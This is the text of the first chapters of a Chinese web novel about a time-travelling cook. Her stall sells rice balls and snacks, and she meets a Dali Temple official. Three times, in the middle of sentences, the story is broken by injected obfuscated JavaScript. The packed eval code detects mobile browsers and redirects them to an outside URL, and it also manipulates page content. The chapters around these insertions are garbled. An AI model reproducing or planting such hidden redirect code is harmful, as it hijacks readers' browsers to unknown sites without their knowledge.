《投喂大理寺少卿日常》 1. 肉末茄子焖面与白菜馅饼 艳阳高照，春光正好。 盛京城里街上熙熙攘攘，走街串巷的货郎叫卖声不止，很是热闹。 崇安坊街头有家挂着白幡，里间安静的可怕与外面的热闹相对。 沈鱼送走来吊唁的邻居，望着这二十来平的铺面叹了一口气。若非她是个现代穿来的，恐怕还不知该怎么活下去呢。 早上她还想着这个假期要好好玩一趟，结果就因为邻居失恋想不开自杀，点了个煤气罐她被莫名波及，睁开眼就到这儿了。 原主一家本也算个落魄大家，虽不似从前显贵，手里也算有余钱。只是沈父偏不信邪，没那个生意头脑还学人投资，赔的血本无归。本来沈母还能劝着些，但三年前她不幸染病，撒手人寰。 沈父更加肆无忌惮还酗起了酒，七天前失足落水一命归西，可怜沈鱼才二八的年纪就父母双亡。沈家家产被沈父败得差不多了，留给沈鱼的只有沈母这间陪嫁来的铺子和一些碎银。 【滴——您的美食系统已上线】 脑中突然响起电子音，沈鱼一阵头晕，这感觉好像被炸的时候。 【您好，因为您是意外死亡，只要完成任务，您就能重新返回现实世界，我是您的系统九九六号】 沈鱼听到还能回去激动不已，这古代没电没网真的很无趣啊，“那我的任务是什么？” 【通过您的劳动，获取顾客满意值，满意值可用来兑换食材和调料，攒够一百万满意值即可，还有一百万人民币奖励】 现代的她是个饭店的二厨，做梦都想有自己的饭店，可那么点死工资租房都够呛，更何况开店，想不到这桩意外倒是给她带来了希望，要是能带着巨额财富回去，就有本钱了。 【任务期限：三年】 沈鱼：“要是规定时间没完成呢？” 【永远留在这里】 沈鱼琢磨着这系统倒是挺人性化，没给出个离谱的期限，不管她能不能完成这个任务，也重活了一遭，左右她都不亏。 沈鱼闭眼冥想，识海中出现了一个进度条，看着那满意值进度条上明晃晃的零，沈鱼暗自给自己打气，她一定要带着资产回现代！ 眼下这铺面虽然不大，后头还带了个院子里面有两间厢房，也算是有个容身之所。何况还是皇城根下的屋子，放现代就是二环内有房，情况也不算太差。 这铺子原来是卖布的，之后因为生意不好掌柜什么的都辞了。墙壁地砖还保存完好，稍修葺下应该能行，沈鱼盘算着开个食肆。 “小鱼儿，可吃晚食了？”门口进来个四十岁左右的妇人，这是邻居钱氏，从前与沈母交好，情同姐妹，前头沈家还算富裕的时候沈母帮过她家里一个大忙，钱氏一家感恩，沈父死后一直是他们一家在帮衬着。 沈鱼笑脸相迎，“还没呢，钱姨您怎么过来了？” 钱氏手里拿了几根新摘的茄子和几个鸡蛋，“就知道你还没吃，刚摘的茄子，鸡蛋是自家养的鸡下的，还热乎着呢，你拿着吧。” 沈鱼办这场丧事可谓掏空了家底，买了棺材香烛基本就没余钱了，连丧宴都没摆，邻里也都知道情况，都只是来灵堂上两柱香便回了。沈鱼细想想还真是今儿的晚饭都没着落。 钱氏又道，“别说拒绝的话，我不爱听。”小妇人故意板起脸，傲娇起来还挺可爱。 沈鱼眉眼一弯，心头暖暖，也没推辞，“谢谢钱姨。” 钱氏是真真地心疼这个小姑娘，花一样的年纪就没了爹娘，以后可怎么活啊。她心里头有着盘算，姑娘家的早些嫁人才有出路，但沈父头七才过，此时也不宜说亲，沈鱼虽还要守孝，但也得替这姑娘留意着，成不了亲，先定下来总是好的。 两人又扯了几句闲话，钱氏晚间还要回去照看孙儿，聊了一会儿便走了，临走前说，“小鱼儿，若有什么难处，记得来寻我。钱姨帮不了你太多，救救急还是能的。” 沈鱼鼻头微酸，“我记着了。” 沈鱼将人送到家门口，回来还真有些饿了。 吃什么呢？ 厨房里有些简单调料，食材却是只有几颗大白菜和一块不足五两的肉。米缸已经空了，面粉倒是还有。 她瞥见钱氏送来的茄子，那茄子歪七扭八，上面挂着些晶莹的水珠，古代种菜大多没有人工干预，茄子的卖相自然没有现代超市里的好，但胜在新鲜。沈鱼心念一动，就做个肉末茄子焖面吧！ 幸好这个朝代没有什么守孝期间不准吃肉的规矩，不然真能让她这个肉食爱好者憋死。 沈鱼洗净了手，系上围裙，在瓷盆里倒出面粉来，倒得有些多了，她又抓了两把放回面粉袋子里。现在这情况，可不敢做多了。 揉面是件力气活，也是手艺活，用冷水还是热水，劲大还是劲小都有讲究。沈鱼从前特地研究过，发现这冷水揉出来的面更加筋道。 她揉的分量不多，不一会儿一个光滑白胖的面团就好了，其实揉的时间还是不够长，但她自己吃，就不讲究那么多了。 揉好的面拿擀面杖擀平，擀的时候双手用力均匀才能让面皮厚薄一致，这样切出来的面才会好看。面切好了，又切了些生姜大蒜先放一旁备用，接下来做的才是肉末茄子焖面的重头戏。 钱氏拿来的茄子很是新鲜，沈鱼将茄子切成均匀的长段，其实滚刀切也行，但她稍微有点强迫症，食材都要切的整整齐齐才好，想当初为了切出一样粗细的土豆丝，不知切了多少斤。 五两肉沈鱼舍不得全放，一刀切成了两半，其中一半放回原位，另一半细细剁成肉糜，此时加入一点料酒，酱油和盐，再接着剁一会儿，如此这肉糜会更入味。 沈鱼做完这些就想将东西下锅，突然反应过来自己还没生火。 现代煤气用惯了，一时还有些不习惯，但想起那爆炸还心有余悸，沈鱼觉得这土灶甚好。 她从小在乡下长大，生火对她来说并不难，柴火是现成的，找了些易燃的草料塞进灶里，再往通风口一吹，火很快旺了起来。 慢慢等锅热了，便可放油了，油沸先放生姜大蒜，配料很快爆香，接着加入肉糜，用锅铲将腌制好的肉糜倒进去细细滑散至熟。 待到肉糜有了六分熟，倒入切成条的茄子快速翻炒，因这土灶不好控制火候，一直都是大火，沈鱼只能凭借感觉，她用铲子压了一下茄子，觉得柔软度差不多了，再加了一大勺酱油和适量盐，可惜的是没有豆瓣酱，不然能更香一点。 这时候茄子的香味就已经出来了，最后舀上两大瓢水，开始焖煮。热气腾腾升起，肉末混着茄子香直往沈鱼鼻子里钻，她忍不住咽了两口口水。 大火收汁了一些后，再放面条，用筷子搅散是必须的，否则粘连上就不好了，接着又盖上锅盖，焖至汤汁收尽。 根根分明的面条吸饱了汤汁，露出漂亮的褐色来，出锅时撒上一点葱花，绿的紫的混着，卖相也不差。 沈鱼这一顿饭做完，早已腹内空空，夹上一筷子送进嘴里，茄子绵软面条筋道，咸淡适中，味蕾得到极致的满足。 【顾客满意度+30】 沈鱼喜出望外：这自己吃也算啊。 【只要是您付出了劳动，都是可以算的。每人每次的满意度都会有不同】 天色渐晚，沈鱼躺在床上琢磨着开食肆的事情，需要银钱的地方实在太多，一时半会儿决计是不成的。既然不成那便徐徐图之，这铺子地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981870|177965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段不错，虽不在闹市，却是官舍所在，在门前摆个摊卖些吃食也是个办法。 可卖什么呢？ 沈鱼又陷入了新一轮思绪，这想着想着困意上来，便睡了过去。 翌日一早，沈鱼是被饿醒的，十六岁的身子正是需要营养的年纪，昨夜那一碗肉末茄子焖面属实有些不够。不过厨房了已经没什么吃的了，沈鱼将钱氏拿来的鸡蛋取了两个煮了吃，囫囵对付了顿早饭。 【满意值+2】 果然不被好好对待自己的舌头是没有资格得到高昂的满意值的。 崇安坊卖朝食的铺子不少，胡饼，馒头，馄饨，小面应有尽有，比起现世的早餐店也不遑多让。要从这些老店手中抢客源，她做的东西就必须有些新意。 沈鱼手上收拾着厨房的东西，脑中仍旧在思考做什么生意，低头望着空了的米缸，脑中忽然灵光一闪。 有了，卖饭团。 饭团的配料简单，所需工具也不多，正好是她负担得起的。且糯米饭团现做现卖，成本也可控一些。想当初她可馋学校门口的糯米饭团了，每星期都会去买。 打定了主意，沈鱼说干就干，想着去找钱氏让她陪着去买檽米，她才来不熟悉物价怕被坑。 上门有求于人总不能空手去，沈鱼拿了剩下的面粉和白菜，打算做个白菜馅饼。 面粉照例揉成面团，与手擀面不同的是馅饼的面团需要醒发，加入了碱面儿。面团揉好后盖上透气的白布慢慢发酵。 趁面团发酵时，将洗净的白菜切碎炒熟，馅饼馅饼，最重要的就是馅料了。沈鱼调馅极有一手，即使是简单的白菜也有讲究，炒多少时候，需多少油，放多少盐，稍有不对，这白菜的鲜味便散不出来。 调好的白菜馅放一旁备用，沈鱼戳了戳盖着纱布的面团，还有些硬，时候不到。她搬了把凳子坐着歇了会儿，静静等着面团发酵好，等着的时候也不能走神，这个时代没个定时器，发酵的时间长了，做出来的饼皮就会发酸。 沈鱼只能隔一小会儿伸出白嫩手指去戳一戳，如此反复五次，白胖的面团表面被她戳出了五六个小坑，最后一次终于差不多了。沈鱼揭开纱布，将面团分成一个个小剂子，撒些面粉擀成薄薄的皮。 这包馅饼的法子与包子异曲同工，只不过不用捏出褶子，只需能收口，最后再揉搓几下压平。剩下的面粉不多，沈鱼只包了十个出来。 最后一道工序就是煎了，平底锅是没有的，只能拿炒菜锅煎。煎馅饼是十分费油的，沈鱼看见半瓶子晃荡的油壶，犹豫了一下，还是放了足量的油。 吃进肚子也不算浪费，更何况还有满意值，沈鱼想起早上两个鸡蛋才两点满意值还是有些懊悔，要是做成荷包蛋肯定能多涨点。有投资才有回报嘛！ 第一个馅饼沈鱼因为不熟悉锅的缘故差点煎焦了，让她直呼心疼，第二个才算有了经验，她更小心了些慢慢翻动锅铲，等馅饼两面都煎出了好看的金黄色才算成了。 一连煎了十个，沈鱼额头微微冒了细汗，她随意用衣袖抹去，看着眼前十个金灿灿的白菜馅饼，大大的杏眼笑眯了缝。 白菜馅饼的油香太过勾人，早餐只吃了两个鸡蛋的沈鱼哪里忍得住，迫不及待地吃了一个。饼皮酥软，白菜咸香又带点菜叶本身的微甘。她包馅料时特地加了些汤汁进去，如此一口下去，白菜汤汁迸发出来，唇齿留香。 沈鱼吃了两个就没再吃了，满意值总共加了10个点，不多也算值得，毕竟不是荤菜。 她拿了个大陶碗，装上六个馅饼就去了钱氏家里。 钱氏家不远，沈鱼没走几步，看见她家院门虚掩着，便推了门进去，“钱姨，你在家吗？” 2. 糯米饭团 沈鱼叩门只见院里出来一个五六岁模样的小童，垂髫小童见她来，向屋内大喊道，“阿奶，鱼儿姐姐来了。” 时下人成亲早，别看钱氏才不到四十，已是做祖母了，怀哥儿面团子脸可爱的很，沈鱼顺手撸了一把他的发顶，“怀哥儿真乖。” 怀哥儿笑嘻嘻的，拉了她的手往屋里去，眼神却没离开沈鱼另一只手的大陶碗，馅饼的香味直往他鼻子里钻。 “小鱼儿来了，快进来。”钱氏从里院出来招呼她进屋。 小孩子藏不住什么心思，沈鱼忍俊不禁，这娃儿口水都快下来了。沈鱼把陶碗递给了他，“拿着吃吧。” 怀哥儿却没立即伸手接，小眼睛看了一眼钱氏。 钱氏拉了沈鱼的手落座，“来钱姨家还带什么东西。” “白菜馅饼罢了，不费什么功夫。”沈鱼将陶碗搁在桌子上，开门见山，说明了自己的来意。 “其实是有事儿，要请钱姨帮忙......” 钱氏听完，却还有些顾虑，“这卖饭团子，能行吗？” 沈鱼面不改色扯谎，“自然不会如此简单，这是阿娘家乡那处的吃食，在那儿很是受欢迎呢。我知道您是担心我，但我一个孤女，只有这点厨艺拿得出手，也只能做做小生意了。” 钱氏一听这话当即顾虑全消，“既是你阿娘留给你的秘方，定有其奥妙之处。” 当年钱氏儿媳难产，眼看大人孩子都要不保，是沈母拿出了压箱底的老山参，给钱氏儿媳含了参片在嘴里，这才保住母子两人，是以钱氏对沈母有着超乎寻常的信任。 沈鱼适时将白菜馅饼递上，“钱姨尝尝我的手艺。”又给口水流了一地的怀哥儿塞了一个。 钱氏接过咬了一口，饼皮软糯筋道，也不知她这白菜馅是怎么调的，吃着便是与旁的不同。 再看一旁的怀哥儿，嘴里塞地满满，两边脸颊鼓起一口一个好吃，一个下肚，油花花的小胖手还欲往陶碗里伸。 钱氏一把捉住了正打算作乱的小胖手，“剩下的是给你爹娘的。” 怀哥儿望了一眼大陶碗，舔了下唇，默默低下了头，那小模样，委屈极了。 沈鱼忍俊不禁，又呼噜了一把他的圆脑袋。 晚些时候两人上街买菜，身后还跟着条小尾巴。 “要买米去西街罗家准没错，他家不论是大米小米糯米，同等价钱上杂谷都是最少的，买菜疏要赶早市，迟上一些，上好鲜嫩的就都被别人挑走了，豚肉要买刘大家的，刘大是个老实汉子，从不缺斤短两......”钱氏絮絮叨叨地说了很多，沈鱼用心记着。 食材好办，摆摊的工具却不好办。 主要原因就是——太贵了！！林林总总竟要一两多的银子，都够寻常人家半年的嚼用了，只是做生意这些却不能省的，沈鱼一边心疼一边掏银子。 主要是一个带轮子的小车贵些，其他倒是还行。沈鱼还在木匠那里定做了一个用来装米饭的大木桶，和做饭团的小竹帘，还有些矮桌板凳。 器具做好还要些时间，沈鱼趁机出去做了个市场调研。 崇安坊很大，却并不很繁华，高门大户少见，多是低矮瓦舍，然治安是盛京城内最好的，皆因大理寺正处坊内。因着这，坊内不少房屋都被改成了官舍，武侯小官不胜数。 沈鱼沿着这街走了一圈，发现这条街上，竟没一家食肆，早点摊倒是不少，小吃摊也比其他地方少得多，只零碎有几个穿街巷的货郎，杂货铺子倒是有两家。 沈鱼也算个熟脸又刚没了爹，大家都同情她一个孤女，她生得好看，邻里也很愿意同她说话。 问了才知道，不是没人开，只是这地租金贵，开食肆的卖得便宜了还不够租金，卖得贵了，再走一条街拐过巷口就到了成宁坊，那是闹市所在，有家三层大酒楼，也不会选这儿，关门了几家后，便无人再开了。 崇安坊常年有武侯巡街，有些小摊贩也不敢往这儿摆，是以比起别的地方，显得有些冷清了。 沈鱼不免有些丧气，这里实在不是个好地段。但目前也没别的办法，酒香不怕巷子深，只要她东西做得好吃，总能卖出去。 沈鱼边想边回了家。 食材买回来，有些还是需要自己再加工，譬如饭团里必不可少的油条酥，她最是喜欢那脆脆的口感，当然直接用油条也可以。 黄瓜和胡萝卜这里都没有，用满意值去兑换有点不划算，沈鱼想了想还是算了，改用豆腐皮，火腿片培根什么的就用肉丝代替。鸭蛋她买了已经腌制上了，不过等咸鸭蛋好还要些时日。 配料不足就只有在酱汁上想点法子了，沈鱼从前爱吃糯米饭团其中一个原因就是里面的沙拉酱特别好吃，她狠了狠心，找系统兑换了一瓶沙拉酱，一下子花去了她30点满意值。 三日后，天还蒙蒙亮，沈鱼费了好大的劲将大木桶挪了出来，里头装了满满一桶糯米，面前小摊上摆着各色配料小菜。 因是头一天，沈鱼只蒸了五斤的量，头天夜里就将糯米浸泡上了，蒸米时又加了些香油进去。 大木桶盖子一掀开，升起腾腾热气，糯米自带的稻香味争先恐后地跑了出来，春风一吹，满街飘香。 沈鱼将昨日找大字先生写的棉布招牌挂好，托腮坐在摊子后面等客人上门。 崇安坊的朝食铺子陆续都开了门，一时间家家都有热气散出，街上的行人也渐渐多了起来，有三五成群早起上工的，有送小娃儿去学堂的，有背着包袱赶路的，更多的还是穿着统一制服的武侯和青衫小官，形形色色。 “小娘子，你这饭团怎么卖啊？” 这声音有些耳熟。 沈鱼抬眼一看，原来是钱氏带着怀哥儿来了，“钱姨您怎么来了？” 钱氏笑眯眯的，“你这摊子新开张，可不得给你来捧个场，来两个饭团。” “谢谢钱姨，您要荤的还是素的？” “一荤一素。素的小些就行，给这皮猴尝个鲜。”钱氏拍了一下怀哥儿的小脑袋。 沈鱼很快做好，待钱氏问价时却只收了一半的钱，钱氏立马就觉察出不对了。 “小鱼儿可别框我这婆子，你昨日同我说的定价可不是这样。”钱氏将剩下五文钱投进了瓦罐就带着孩子走了。 沈鱼无奈笑笑，她这新摆的摊子，好些人都是瞧热闹，未曾有人上前，有了钱氏的带头，本就有些意动的人上前询问。 “小娘子来个饭团。” “素的四文钱一个，荤的六文一个，郎君放心，一个管饱。” 问价的是个上主家做工的泥瓦匠，穿着短打布衣，他时常在这条街上买朝食，见新摆了个摊子，摊主不像旁人那般叫卖，安安静静的，只怕是年轻面嫩，不好吆喝。 汉子家中小女儿年岁与沈鱼差不多，一时有些恻隐，这四文钱是贵了些，肉包子也不过三文一个，但一个能饱，也算是划算。 “那给我来个素的。” 她素手纤纤，案板上铺着小竹帘，在上面铺开一张油纸，用木勺舀出适量糯米铺在油纸上，往里加入两种咸菜，生菜，油条酥，豆皮，再添上一层沙拉酱，料都放的足足的，最后再加上一层糯米，小手卷起小竹帘捏紧。 “好了，给您做了个大的，小心烫。” 那汉子将那个比他手还大一圈的饭团抓在手里，递上四文钱，有些不好意思笑了笑，“小娘子也忒实在。” 沈鱼微笑，“若吃的好了，明儿还来照顾我生意就是。” 汉子打开油纸咬了一口，第一口没咬到馅，但糯米醇香软弹，不粘牙，似乎还带了点油香，再咬一口，里头各种馅料混合，数种口感在嘴里交杂，白色的酱料有着奶味又有些微甜，令人回味无穷。 “小娘子，你这是什么酱啊，怎得这般美味？”那汉子一口接着一口，根本停不下来。 【满意值+30】 沈鱼有些惊诧，这没吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981871|177965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过食品添加剂的古人就是容易满足。 她当然不能明着说这是沙拉酱，毕竟这名字太奇怪了，想了想道，“白玉酱，家传的秘方呢！” 有认识那汉子的见他吃的如此香，也有些想买了，过去问那汉子，“常顺，这糯米饭团真这么好吃？” 常顺埋头吃着，得空才抬头，嘴角还沾了饭粒，“真的好吃，我你自个儿买个尝尝不就知道了！” 刘二得了准信，对沈鱼喊道，“小娘子给我也来一个。” “您要素的还是荤的？” “给我来个荤的，六文钱是吧。”刘二家中有点闲钱，不缺这两文。 沈鱼很快给他做了一个，刘二有些讶异于这饭团的个头，有些大了，他吃不下，但当咬了第一口下去，他觉得刚才有些多虑了，再来一个他都能吃下好嘛！ 两个大汉在摊子前给沈鱼做起了无声宣传，很快摊子前就排起了长队，铜板投入瓦罐的声音叮叮当当响个不停。 “这白玉酱果然好吃，滋味绝了！” “里头的料足足的，真好吃。” “明儿还来，小娘子可千万多准备些荤的呀！素的也行吧，来一个。”沈鱼准备的肉馅不多，有人没买到，语气中掩不住的遗憾。 一桶糯米饭很快见底，过了早饭点人少了很多，沈鱼见卖得差不多了也打算收摊。 沈鱼看着识海中动起来的满意值，压抑不住要上扬的嘴角。 她正收拾着佐料台，却见街头远远来了两位年轻人。 引起沈鱼注意的是其中一人身上穿着的官袍，是绯色的。附近是官舍，有官府中人不奇怪，只是这绯袍高官倒是少见。毕竟能做到绯袍，不是圣上赐了府，便是世家勋贵子弟，哪能呆在崇安坊呢。 两人一前一后，青袍官员步履匆匆，时不时回头看一眼后面的人，似在催促绯袍官员，而绯袍那位仍是不紧不慢，从容不迫。不过距离太远沈鱼听不清他们谈话。 待两人行近些，沈鱼才看清他们的面容，那绯袍高官果然好相貌，眉骨圆润而饱满，鼻梁挺拔，一双桃花眼平静无波却更添几分沉稳，体态姿容皆为上乘。 青袍那位五官端正，生了张圆圆的娃娃脸，其实也算不错，但与绯袍一比，就相形见绌了。 青袍官员一脸愁容，眼底还有些青黑，重重叹了一声，“你这孤家寡人，哪知养个哥儿姐儿的苦，昨儿闹了一夜，我与夫人子时才安枕。” 绯袍闻言顿了顿，“嗯，确实不懂。” 青袍官员：“......” 沈鱼听着他们对话，看见那青袍官员被噎的表情十分好笑，没忍住笑了出声。 青袍官员听见笑声看过去，埋怨道，“砚白，你瞧瞧人家小娘子都在笑话咱们。” 江砚白瞥了一眼沈鱼，对黎辞舟道，“人家笑的是你。” 沈鱼忙起身行礼，“小女子无状，两位大人莫怪。” 黎辞舟摆摆手，“用不着行礼，这又不是在衙门里，小娘子这卖的是什么，给我来一个。” 他很是随和，沈鱼倒是有些不习惯了，“是糯米饭团，只有素的了。” “不挑，快些就行。砚白你要不要？”黎辞舟闻见这热腾腾的香气更觉腹内空空。 “我用过朝食了。”江砚白淡淡道。 沈鱼十指翻飞，有条不紊添料，这一套动作做下来十分行云流水，再加上这做吃食的是个小美人儿，更为赏心悦目了。 “大人趁热吃吧。” 黎辞舟正要付钱，左右袖口都掏了掏，手肘怼了下江砚白，“砚白，今日出门有些急了，借我几文。” 江砚白看他一眼，眼底有些无奈，却也还是拿出了钱袋。 “多少？” “四文。” 一双骨节分明的大手出现在她的眼前，五指三长两短，细长而又秀美。沈鱼抬眼不经意间撞上江砚白的视线，他眼中似有一汪清泉，澄澈而明亮。 3. 素菜团子 第一日的试运营取得的成效不错，沈鱼在灶前数起了瓦罐里的铜板，粗略一算除去成本赚了四十多文，也算合乎她的预期，钱包虽然不鼓，但进度条可前进了好些呢，满意值已经有了990+。 就在沈鱼查看识海几秒后，进度条又刷新了。 【满意值+25】 【恭喜宿主今日满意值破1000，请您再接再励哦！】 沈鱼笑意盈睫，仿佛看到一百万在向她招手，照这个速度，回去指日可待。 可第二天沈鱼就被打击了，她特地蒸了第一天双倍的分量，满意值却只是头一天的一半。 沈鱼问系统是怎么回事，系统也只有一句。 【每人每天的满意值不同】 但一连卖了几天，沈鱼也摸索出一些规律来了，新客涨地比老客多。之前从未吃过这东西的人，因着新鲜感所产生的满意值就会特别多，而老客对待食物已经有了认知，所以产生的满意值便大打折扣了。 只是这折扣打得也有些多，有些甚至只有一两点满意值了。 这模式让沈鱼联想到了后世某夕夕的砍价，太坑了！ 古代讯息不便，饭馆立身大多靠的是老客。沈鱼长叹一声，这满意值与银子不可兼得啊！ 但当下还是赚钱要紧。 卖了几日饭团，沈鱼手里总算有了些余钱，客源也稳定了，每日的满意值基本是一百左右，再高也没有了。她想着午间再做些小吃食点心，下午能卖，不为赚钱，就为了赚满意值。 花卷，馅饼，云片糕，麻团，豆糕，野菜团，各色小食点心被沈鱼做了出来，她每三天换个花样，因是为赚满意值，价钱定的并不算高，还规定了一人最多只能买两个。 不过到底是点心，这价钱就算不高也不是寻常吃个饱肚的食物可比的，原本沈鱼还担心卖不完，特地分量做的不多，但后来摊前排起的长龙彻底打消了她的顾虑。 虽说走过这条街便有更好的美食，但总有懒怠不爱出门的，且东西滋味也并不差，价钱又划算，来买的人自然就多了。 “要两个黄金五味团。” 其实就是素菜团子，豆腐，白菜，香菇，鸡蛋，萝卜混在一起，再裹上玉米面炸一炸，就算成了，这素菜团子名字不好听，沈鱼就起了个花名。 沈鱼闻言皱了皱眉，手上未动，瞧见熟悉的小厮打扮，看了眼蒸笼，只剩最后五个了，小厮身后还排了六七的人。 “小娘子，快些呀。”那小厮见沈鱼不动，出声催促道。 沈鱼顿了顿，还是开了口，指着摊前的木牌道，“这位郎君，可看清楚，我这牌子上可写了每位最多买两个，您刚刚——可是已经买了一回了。” 这小厮是个熟脸，基本她出摊这人就到，沈鱼早认出了他来。 不过今天他家主子也来了，在旁边的矮凳上坐了许久了，一个十岁左右的孩子，是个十足的小胖墩，看那身白白胖胖的皮肉，就知道是好吃好喝养出来的。 那小主子一共带了三个小厮，连同他自己每人都来排了一回队，每人两个，一共八个都进了那小公子的肚子。 沈鱼之前一直忍了没说什么，毕竟他们也算守着规矩，但这二次排队，实在是坏了她的规矩。 那小厮闻言，装傻道，“小娘子莫不是记错了，我这是第一回排。” 沈鱼微微一笑，“郎君手上的油渍，可是还没擦干呢。” 那小厮被揭穿一下子有些恼了，出口没好话，“你这小摊也敢定起规矩来了，咱们小爷可是御史家的公子，爱吃你这小摊的东西是抬举你，真把你这当百味楼了不成！识相的，速速卖与我！” 沈鱼最讨厌此等仗势欺人的恶奴，冷然道，“自是不敢和百味楼比，我这虽是小门小户，怎么卖还是做得了主的。” 沈鱼转身，“这位小爷既是御史家的公子，自然是最识礼的，是否该好好教导您这家仆。” 怎料那恶奴又开口道，“小爷，这妮子拐着弯骂咱们府上规矩不严呢！” 还真是惯会偷奸耍滑的，只一句，就将他个人失礼歪曲到了一府教养。 小胖墩自是护着自家人的，“我家仆人又没说错，你这小摊规矩也忒多。”黄金五味团一个才比弹丸略大，他吃了八个才尝了个半饱，正吃到畅快处可沈鱼却不卖了，难受得紧。 那恶奴平日里颇有些小聪明，说是那么多人排队，沈鱼定然不会发现，那人实是得了他的授意才坏了规矩，只是这会子是怎么都不能认的。 沈鱼挑了挑眉，知道这是碰上熊孩子了。 “你若是将剩下的团子都卖于我，本小爷就不追究你方才无礼了。” 还是个贪吃的熊孩子！ 沈鱼微微福身给小胖墩见了个礼，“我摆的摊子，自是我来定规矩，小郎君若是嫌麻烦，尽可去别家买去。我这摆摊时日也不短了，若是为小郎君你坏了规矩，如何向这些排队的乡亲交代。” 沈鱼浅笑，“小郎君说我方才无礼，我是不敢认的。先咬人的可不是我！” 那恶奴会意了沈鱼在骂他，恼羞成怒，抬手便要打人，“你这小娘皮，别给脸不要脸！” 排队众人早已看不下去，有个高大汉子上前拦人。 “哟，这高门大户的，原是这般德行，总算是见识了！” “强买人家沈娘子的东西不成，还想打人。” 沈鱼嘴甜，又会来事，时不时送些小食个邻里，人缘很是不错，如今见她一个孤女被欺负，即便对方是高门大户，也有不少人开口帮腔。 “没买着东西就打人，天下没有这样的道理。” “沈娘子说的有理，小郎君忍不了她这规矩，上别家买去呀！！” “就是！！” 小胖墩从未被这么多人指责过，到底还是个孩子，胀红了一张胖胖的脸，说不出话。 倒是那恶奴气焰嚣张，“你们这群刁民，御史家的公子也是你们能够说嘴的，都该抓去衙门打板子！！” 小胖墩被家仆的气焰怂恿，有了底气，站在门口矮凳上，叉着腰，指着一大帮人，“对，叫我爹把你们都抓走，打板子！” 沈鱼心头烦躁，熊孩子就是难搞！ “何事吵闹？” 男人清冷的声调蓦地闯入这嘈杂，犹如凉风过境带走燥热，喧闹的人群霎得没了声音。 江砚白并未着官服，而是一身简单窄袖胡服骑装，藏青色尤衬其白皙肤色。崇安坊内不许御马，马儿乖顺地待在他身旁，他左手牵着缰绳，带着些风尘仆仆。 “是江少卿啊，快些为沈娘子做主吧，那个御史家的小郎君强买她的东西不成，还打人呢！” 江砚白去大理寺上衙，时常路过此地，识得他的人不少。 江砚白一眼就看见了那个站在矮凳上叉着腰的小胖墩，他正盛气凌人地对着个小娘子，只是那小娘子神色却并不慌张，反而还有些……无奈。 江砚白才去外头处理了桩案子，回来的路上却不想碰见这么一桩事。 “御史家的……”江砚白看那小胖墩身上还穿着禄荣书院的襕衫当即有了些猜测。 “你爹是赵育良？” 小胖墩猛然听见自己父亲的大名，“你是何人？竟敢直呼我父亲的名讳！” “大理寺少卿，江砚白。” 小胖墩闻言，嘴里嘟囔着，“大理寺少卿……怎么这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981872|177965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳熟，江砚白，姓江……” “哦！你就是江明禹那个当大理寺少卿的小叔。”小胖墩一拍脑袋，想起来了。 小胖墩名叫赵丞，是御史赵育良最小的儿子，平时那是被捧在手心里的。读不进书，在禄荣书院有个对头，就是那常年榜首的江明禹。偏那小子鬼精得很，他几次给他下套都没得逞。 江砚白只看着他，淡淡道，“原来是阿禹的同窗，只是他这会儿还没下学，赵小郎君倒是有空。” 沈鱼做的吃食好，一般等不到禄荣书院下学就都卖完了，他又想吃口热乎的，才逃了最后的一堂课。 这猛地被人戳穿，还是自己死对头的小叔，赵丞臊得慌，立马没了方才的气焰，而且这人又认识他爹，要是这一状告上去，他这五脏庙可又要与那白粥为伴了。 赵丞赶紧从矮凳上下来，小胖手挠了挠头，支支吾吾道，“是..先生叫我……叫我……出来买些东西，这就……回去了。”说着便打算偷溜。 江砚白却没这么容易就让他走了，“等等。” 三大一小瞬间住了脚。 江砚白面色清冷，不怒自威，“赵小郎君，这强买吃食又是怎么回事？” 赵丞这时候小脑瓜转地飞快，一脚踹在那恶奴的膝上，“你这刁奴，还不快去给沈娘子道歉。” “是，是!”那恶奴早在江砚白亮明身份时就已吓得腿软，他家小爷对这位少卿大人不清楚，他们这些下人可是清楚的很。 别看这位江少卿斯斯文文，那审起犯人的手段可是辣手无情，再穷凶极恶的罪犯到他手里也得交代了。这大理寺的狱中，可是每人想走一遭的。 “沈娘子，是小人坏了规矩，是小人大言不惭，您大人有大量，饶了小的吧。”恶奴上来就是三个响头，一旁正看戏的沈鱼一下子没反应过来。 沈鱼没理那恶奴，只径直走到赵丞身前，路过江砚白时，给他行了个礼，江砚白微微点头回礼。 “赵小郎君，承蒙您看得上我做的粗食，只是这规矩却是不能坏的，您若真想吃，这样吧，改天我去您书院门口摆摊，这卖什么嘛——就您来做主。” 